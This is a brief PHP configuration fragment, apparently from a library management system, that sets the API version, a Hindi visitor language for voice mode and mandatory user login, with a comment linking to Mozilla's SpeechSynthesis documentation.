$sysconf['api']['version'] = 1; $sysconf['visitor_lang'] = 'hi-IN'; // Please visit this URL for voice mode - https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/getVoices $sysconf['always_user_login'] = true;